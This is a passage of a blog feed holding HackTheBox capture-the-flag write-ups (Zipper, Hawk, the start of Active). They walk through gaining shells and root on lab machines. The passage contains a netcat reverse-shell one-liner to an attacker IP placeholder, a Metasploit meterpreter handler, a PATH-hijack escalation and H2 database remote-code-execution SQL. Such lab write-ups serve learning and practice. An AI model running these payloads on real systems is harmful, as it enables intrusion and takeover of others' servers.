&lt;p&gt;&lt;img src=&quot;/assets/htb-images/access/Gotroothash.png&quot; alt=&quot;Gotroothash&quot; /&gt;&lt;/p&gt;</content><author><name>Kr0ff</name></author><category term="htb" /><summary type="html"></summary></entry><entry><title type="html">HackTheBox - Zipper</title><link href="https://cicadasec.com/htb-zipper" rel="alternate" type="text/html" title="HackTheBox - Zipper" /><published>2019-02-23T00:00:00+00:00</published><updated>2019-02-23T00:00:00+00:00</updated><id>https://cicadasec.com/htb-zipper</id><content type="html" xml:base="https://cicadasec.com/htb-zipper">&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/infocard.png&quot; alt=&quot;BoxInfo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Starting off with a nmap scan to determine open ports, thus a potential attack vector!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/NmapScan.jpg&quot; alt=&quot;NmapScan&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nmap showed me that port 80 and 22 are open so I was going to access the web server, but since the header of the nmap for port 80 output says: “It Works” I assumed that I will see the default page of apache, so I went straight to use dirbuster and check for folders and files on the webserver!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/dirsearch.jpg&quot; alt=&quot;dirsearch&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Running dirbuster on the server, I found an interesting folder “/zabbix”.So when I entered it, it prompted me with a login page and more interestingly, I was able to login as guest user, which would be very helpful when I enumerate the web app to try to find a potential vulnerability, or potential username or password. After some inspection of the web app, I found that the developer had made a small writing mistake which let me determine that the mistake could be a potential username. The mistake which the developer made was that he accidently typed “Zapper” instead of Zipper which gave me the clue. I found this in the “Trigger” section of the web app and by tweaking the options I was able to find it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/Zapper-Mistake.jpg&quot; alt=&quot;Zapper-Mistake&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now I went to try and guess the username and password, so that I can login to the Zabbix web app and enumerate more and try to find a way to get into the system. After several attempts to guess the password, I was able to login as user Zapper.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#User Zapper credentials&lt;/span&gt;
Username: Zapper
Password: zapper
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When I tried to login with the credentials, the web app output showed me that the GUI was disabled and after a short search in the zabbix documentation I saw that I can use the API of Zabbix, “api_jsonrpc”, to enable the web gui and proceed forward. I wrote a simple python script to enable that function.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/WEBGUIDisabled.jpg&quot; alt=&quot;WEBGUIDisabled&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here is the script I wrote:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/getcookiecode2.png&quot; alt=&quot;getcookiecode2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first part of the code shows that I will connect as user Zapper and will get cookie for this user, notice that “auth” is set to None because I didn’t know the cookie yet, but when I run the script it will show it to me. The second part of the code is where the script will tell Zabbix program to add user Zapper in the “Zabbix Super Admin” group, which will allow me to get access to the web GUI.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/enableguicode.jpg&quot; alt=&quot;enableguicode&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After I got the cookie from the function “get_auth”, I  had to place it where “auth”:”” line is in the function “get_wgui” which in the second part of the code will enable the web GUI. This will tell the Zabbix Web app that we are logging in as Zapperwho will be placed in the zabbix super admin group. So lastly, once the the python script is ran, the output will be this.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/enableguiloginin.jpg&quot; alt=&quot;enableguiloginin&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After I logged in, I noticed two new options in the main page, from which, one of them was the Administration section! I enumerated the administration section and that showed me that user zapper is able to write and execute scripts, so I thought this could lead to a RCE. I saw that there was a PING script and I edited it !The scripts section was under:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Administration -&amp;gt; Scripts -&amp;gt; Ping&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#Reverse shell command&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; /tmp/f&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkfifo&lt;/span&gt; /tmp/f&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/f|/bin/sh &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; 2&amp;gt;&amp;amp;1|nc &amp;lt;ATTACKER_IP&amp;gt; 1234 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;/tmp/f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After I editted the Ping script, I went again to the “Trigger” section and I clicked on Zabbix, which showed me a menu to execute a script, I pressed on Ping and I got reverse shell !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/revshell.jpg&quot; alt=&quot;revshell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When I got the reverse shell, I noticed that the hostname of the machine is a bit weird, so I thought I may have a reverse shell in a docker instance. Now, I had to escape it and I also noticed that when I set the code execution to run through zabbix server, I get a reverse shell in docker, but when I set the code to be executed as zabbix agent, I get a reverse shell in the main system but its very unstable, and I am kicked out in 5 - 10 seconds. I had to think of any way to escape that and get a stable connection in the main system.So I thought why don’t I try to upgrade it to TTY shell using python and see if the shell will stay stable. Because the machine didn’t have python 2 install, I had to use python 3.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#Python tty shell spawn command&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python3 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'import pty;pty.spawn(&quot;/bin/bash&quot;)'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Luckily, this helped me to keep my shell open and stable. I just had to copy &amp;amp; paste the command quckily before the shell died. So to get a stable shell in the main system outside docker, I had to do the same for docker.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/stableshell.jpg&quot; alt=&quot;stableshell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now it was time to enumerate what users are available on the system. There was another user available in the system which is “zapper”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/zapperuser.jpg&quot; alt=&quot;zapperuser&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I had to escalate to zapper user before I could get root ! I searched in the system, but I wasn’t able to find anything else except a bash script called “backup.sh” in /home/zapper/utils/. This script gave me a password to work with after running “cat” command on it. The script was only doing a backup of the files and scripts of zabbix web app and was saving them as 7z file in /backups/ folder. I tried to find anything interesting in the folder but there was nothing even after extracting the 7z file, so I thought I could try to login as user zapper with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su -l&lt;/code&gt; using the password which I found in backup.sh script. This worked !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/zappershell.jpg&quot; alt=&quot;zappershell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I now checked for the SSH keys of user zapper, I grabbed them and logged in with SSH. Doing another enumerating of the box I found that in folder utils in /home/zapper/, there was a script called “zabbix-service” which was owned by user root and had SUID. This meant that I would be able to run it as root without having to use sudo. This was interesting ! Running cat on the file showed me gibberish, so I used strings command instead. This showed me something interesting.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/stringszabbix-service.jpg&quot; alt=&quot;stringszabbix-service&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The script was actually starting the zabbix-agentd.service using systemctl. How could I exploit this ? Well, the other interesting part was that in the script, systemctl wasn’t set with its’ full path, so I could exploit that by setting a system variable. So now systemctl would be seen in 2 different folders and run twice by the script because it wouldn’t know which path exactly to use, so it will use both.
I created a file “systemctl” in the folder /home/zapper/utils/ and wrote inside “/bin/bash” and saved the file. When I exported the path to systemctl file which I created in /home/zapper/utils/, I set the permissions of the newly created file to 777 and checked to see if the system could see the file in the home folder of zapper. Now I just had to run the script and get root !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/zipper/roottaken.png&quot; alt=&quot;roottaken&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That’s the box Zipper from HackTheBox !&lt;/p&gt;</content><author><name>Kr0ff</name></author><category term="htb" /><summary type="html"></summary></entry><entry><title type="html">HackTheBox - Hawk</title><link href="https://cicadasec.com/htb-hawk" rel="alternate" type="text/html" title="HackTheBox - Hawk" /><published>2019-01-30T00:00:00+00:00</published><updated>2019-01-30T00:00:00+00:00</updated><id>https://cicadasec.com/htb-hawk</id><content type="html" xml:base="https://cicadasec.com/htb-hawk">&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/infocard.png&quot; alt=&quot;BoxInfo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Starting off with a nmap scan to enumerate ports, thus to determine the potential attack vector !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/InitialScan-Nmap.png&quot; alt=&quot;Nmap&quot; /&gt;&lt;/p&gt;

&lt;p&gt;FTP is open and the header shows that I can login anonymously and that there is a folder called “messages”.  Using the command:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; ftp 10.10.10.102 21
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I logged in to FTP with username: Anonymous &amp;amp; empty password. After listing the files in the folder messages, I didn’t see anything, but after listing all files with hidden files as well, I was able to find a hidden file called: “.drupal.txt.enc”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/FTPHiddenFile.png&quot; alt=&quot;FTP&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By the name of the file I was able to determine that it was storing an encrypted information. I had to decrypt it somehow but first I had to see what was the cipher used to encrypt the informaiton. Once I checked the file by running “file .drupal.txt.enc”, I noticed that it is Base64 encoded but openssl encrypted with salted password. It was easy to decode the base64 by just running:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; .drupal.txt.enc &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; decrypted.txt.enc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I did some google research and found a tool which is used to bruteforce openssl salted passwords. &lt;a href=&quot;https://github.com/glv2/bruteforce-salted-openssl&quot;&gt;Link to tool&lt;/a&gt;
To bruteforce the password, I ran:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#Dependencies to download !&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#dh-autoreconf:&lt;/span&gt;

apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;dh-autoreconfmv .drupal.txt.enc 

drupal.txt.encbase64 &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; drupal.txt.enc &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; decrypted.txt.encbruteforce-salted-openssl &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; 6 &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; 

/usr/share/wordlists/rockyou.txt &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; sha256 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; AES-256-CBCdecrypted.txt.enc

&lt;span class=&quot;c&quot;&gt;#Password: friends&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/BruteF-Passwd.png&quot; alt=&quot;BruteF-Passwd&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now I had the password and it was time to decrypt the file and read the message.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#OpenSSL&lt;/span&gt;

openssl enc &lt;span class=&quot;nt&quot;&gt;-aes-256-cbc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-salt&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-in&lt;/span&gt; .drupal.txt.enc &lt;span class=&quot;nt&quot;&gt;-md&lt;/span&gt; sha256 &lt;span class=&quot;nt&quot;&gt;-k&lt;/span&gt; friends

&lt;span class=&quot;c&quot;&gt;#Drupal Admin Panel Account&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#Password: PencilKeyboardScanner123&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/Decryption-Drupal.txt.enc.png&quot; alt=&quot;Decryption-Drupal&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Judging by the name of the file, I had to use this password for the Drupal web server. I accessed it on port 80. After accessing Drupal, I immediately saw a login form and I tried to login with username: admin &amp;amp; the decrypted password from the openssl file and it worked !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/Drupal-Admin-Acces.png&quot; alt=&quot;Drupal-Admin-Acces&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So after doing some enumeration and looking at the HTB forum for hints I found that H2 Database which runs on port 8082 has some vulnerabilities but they didn’t worked ! I went back to the Drupal web page and started enumerating it ! Section modules on the top was pretty interesting and i was able to find a module called “PHP Filter”, which when turnedon would allow me to execute PHP code, so that means I will be able to get a reverse shell ! So I accessed the modules and enabled PHP Filtering !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/phpfilter-module-drupal.png&quot; alt=&quot;phpfilter-module-drupal&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After enabling the PHP Filter module, I created a new article page and changed the text format to be PHP Code, after that I used msfvenom PHP reverse shell sample code by generating one and adding it in the body section, then I saved the article and accessed it and I got a reverse shell !&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#In Metasploit&lt;/span&gt;

use multi/handlerset payload php/meterpreter/reverse_tcp
&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;lhost &amp;lt;IP&amp;gt;
&lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;lport &amp;lt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
exploit &lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/Meterpreter-Session.png&quot; alt=&quot;Meterpreter-Session&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So after doing some enumeration in the root folder of the system i wasn’t able to find anything as credentials for user daniel, so I went back to where Drupal was install and checked in sites/default/… for some configuration files that may contain passwords ! This &lt;a href=&quot;https://www.drupal.org/docs/7/install/step-3-create-settingsphp-and-the-files-directory&quot;&gt;link&lt;/a&gt; helped me to understand what to look for. So in sites/default/settings.php I have found the password for user daniel ! Now I just had to log in as daniel through ssh !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/Settings.php-Daniel-Creds.jpg&quot; alt=&quot;Settings.php-Daniel-Creds&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When I logged in as daniel, I was spawned in python3 interactive mode shell and I had to espace it and get bash or sh. To do this I used the python one line command to get proper TTY shell, by separating each command to be able to run then in the python interactive shell.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#In Terminal
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;spawn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#Python interactive shell escaped !
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After I got a bash shell, I started enumerating the machine to find interesting information which would allow me to privilege escalate to root. When I enumerated the machine with user daniel, I wasn’t able to find anything interesting, so I went back to the initial foothold and nmap scan and the target for me was now the H2 Console. When I tried to access the server on port 8082 it said that it didn’t allow remote connections, which lead to my next step, to tunnel the connection to my machine and then access H2 Console ! For tunneling the connection, this &lt;a href=&quot;https://razorsql.com/articles/configuring_ssh_tunnels_database_connections.html&quot;&gt;website&lt;/a&gt; helped me to understand how to do it.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#In Terminal&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#To get the tunnel to work through SSH&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ssh &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; 8083:10.10.10.102:8082 daniel@10.10.10.102

&lt;span class=&quot;c&quot;&gt;#Password: drupal4hawk&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#Tunnel works !&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once I got the tunnel up and running I accessed the H2 Console on localhost with the port I set it to run on. I saw another login form.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/H2-Console-Accessed.jpg&quot; alt=&quot;H2-Console-Accessed&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With some questioning and testing here, I was able to login, but the trick to login to H2 Console was that I had to set the database to run in memory. I gathered some useful information before I accessed the H2 Console, such as potential usernames and passwords.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#Usernames: drupal, admin, sa, root, daniel&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#Passwords: PencilKeyboardScanner123, drupal4hawk, xxj31ZMTZzkVA&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A website that helped me to get the memory database is this one &lt;a href=&quot;https://www.javatips.net/blog/h2-in-memory-database-example&quot;&gt;Link&lt;/a&gt;. So once I tried all of the credentials I found, the one combo that worked and worked for SSH or daniel account !&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#Creds for H2 Console&lt;/span&gt;
User Name: daniel
Password: drupal4hawk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/H2Console-Terminal.jpg&quot; alt=&quot;H2Console-Terminal
&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Earlier I have found a great blog expaining a vulnerability in H2 Database where if no user was set, the database will use the default one &lt;strong&gt;(sa:&lt;em&gt;blank&lt;/em&gt;)&lt;/strong&gt;, so by accessing the H2 Console, I could send commands and get a reverse shell !
Link to the blog exaplaining the vulnerability and exploit -&amp;gt; &lt;a href=&quot;https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html&quot;&gt;https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html&lt;/a&gt;.
So, I was able to get the root flag by using the exploit code this person has written. Since the H2 Database is running as root user I just have to enter the command, make a small changeto the exploit code and get the root flag !&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exploit&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;“&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;”&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ALIAS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SHELLEXEC&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;$$&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellexec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IOException&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;util&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Scanner&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;newjava&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;util&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Scanner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getRuntime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getInputStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;useDelimiter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\A&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;returns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hasNext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;}$$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;CALL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SHELLEXEC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So by changing ‘id’ in line CALL SHELLEXEC to ‘cat /root/root.txt’ I am able to get the root flag !&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/hawk/ExploitCode-RootFlag.jpg&quot; alt=&quot;ExploitCode-RootFlag&quot; /&gt;&lt;/p&gt;</content><author><name>Kr0ff</name></author><category term="htb" /><summary type="html"></summary></entry><entry><title type="html">HackTheBox - Active</title><link href="https://cicadasec.com/htb-active" rel="alternate" type="text/html" title="HackTheBox - Active" /><published>2018-12-08T00:00:00+00:00</published><updated>2018-12-08T00:00:00+00:00</updated><id>https://cicadasec.com/htb-active</id><content type="html" xml:base="https://cicadasec.com/htb-active">&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/infocard.png&quot; alt=&quot;BoxInfo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Starting with Nmap scan to see what ports are open so that we can determine what open port we can attack.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nmap -sC -sV -v -oN Active-Initial 10.10.10.100
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this command we will enumerate the machine with nmap scripts to find if there are any vulnerabilities (-sC), we will enumerate the version of the services running on those ports (-sV), we want nmap to show us the output of everything it’s doing (-v) and lastly we want nmap to output the scan in a file, so that we can reference to any port that was caught open by the program (-oN).
We can see a lot of ports were found. The next thing we have to do is to check what services are running on those ports.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/NmapScan.png&quot; alt=&quot;Nmap&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see that we have some interesting ports open:
Port 389 - ldap - Microsoft Windows Active Directory LDAP (Domain: active.htb … )
Port 3268 - ldap 
Port 135 - msrpc - Windows RPC
Port 139 - netbios-ssn - Windows netbios-ssn&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/active/Services.png&quot; alt=&quot;Services&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since the machine’s name is “Active” and we saw that we have ports 389 &amp;amp; 3268 Ms Windows Active Directory open, we can say that we have to deal with Active Directory later on. Now smb is open, so starting with and trying to find exploits was the first thing I opted for. Trying some of the exploits from Metasploit such as the MS17_010_Eternalblue exploit would not work. What I decided to do next was to run a Nessus scan to check for some vulnerabilities that I couldn’t think about. Nessus found a vulnerability that can be exploited for the SMB service.&lt;/p&gt;

